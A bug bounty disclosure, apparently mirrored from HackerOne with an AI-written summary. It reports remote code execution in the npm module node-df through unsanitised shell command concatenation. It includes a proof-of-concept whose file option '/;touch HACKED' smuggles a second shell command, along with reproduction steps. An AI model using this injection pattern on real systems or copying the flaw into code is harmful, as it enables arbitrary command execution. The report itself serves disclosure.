[node-df] RCE via insecure command concatenation
The node-df module builds a shell command by joining user-supplied options, including the file path, without validation. An attacker who can control those options can run arbitrary commands on the victim's machine.
- Triaged in 25 hours
- Fixed in 2 months
- Disclosed after 2 months
I would like to report a RCE issue in the node-df module.
It allows to execute arbitrary commands remotely inside the victim's PC
Module
module name: node-df
version: 0.1.4
npm page: https://www.npmjs.com/package/node-df
Module Description
node-df (abbreviation of disk free) is a cross-platform Node.js wrapper around the standard Unix computer program, df.
Module Stats
[N/A] downloads in the last day [3,023] downloads in the last week [N/A] downloads in the last month
Vulnerability Description
The issue occurs because a user input is concatenated inside a command that will be executed without any check. The issue arises here:
Steps To Reproduce:
- Create the following PoC file:
// poc.js
var df = require('node-df');
var options = {
file: '/;touch HACKED',
prefixMultiplier: 'GB',
isDisplayPrefixMultiplier: true,
precision: 2
};
df(options, function (error, response) {
if (error) { throw error; }
console.log(JSON.stringify(response, null, 2));
});
- Execute the following commands in terminal:
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js # Run the PoC
ls # The *HACKED* file has been created
- The
HACKEDfile will be createdScreencast_09-28-2019_09_11_28_AM.webm From the original on HackerOne
Patch
Don't concatenate
commandsusing insecureuser's inputs:)
Supporting Material/References:
- [OPERATING SYSTEM VERSION]: Kali Linux
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
RCE on node-df via insecure command concatenation
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the module concatenates user-controlled option values into a shell command string instead of passing them as separate arguments or escaping them.
Impact
An attacker who controls the options passed to the module could execute arbitrary commands on the victim's machine.
What the attacker needed
Attacker controls options passed to node-df; victim runs code using the module
How it was found
- Install the affected node-df module.
- Confirm no file named HACKED exists in the working directory.
- Run the proof-of-concept script that passes a crafted file option.
- Check the directory again and observe that the HACKED file was created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This library runs the Unix disk-free program for you. It pastes whatever file path you give it straight into a shell command, so extra shell syntax in that path is treated as another command. That means someone who controls the input can make the computer run their own commands.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.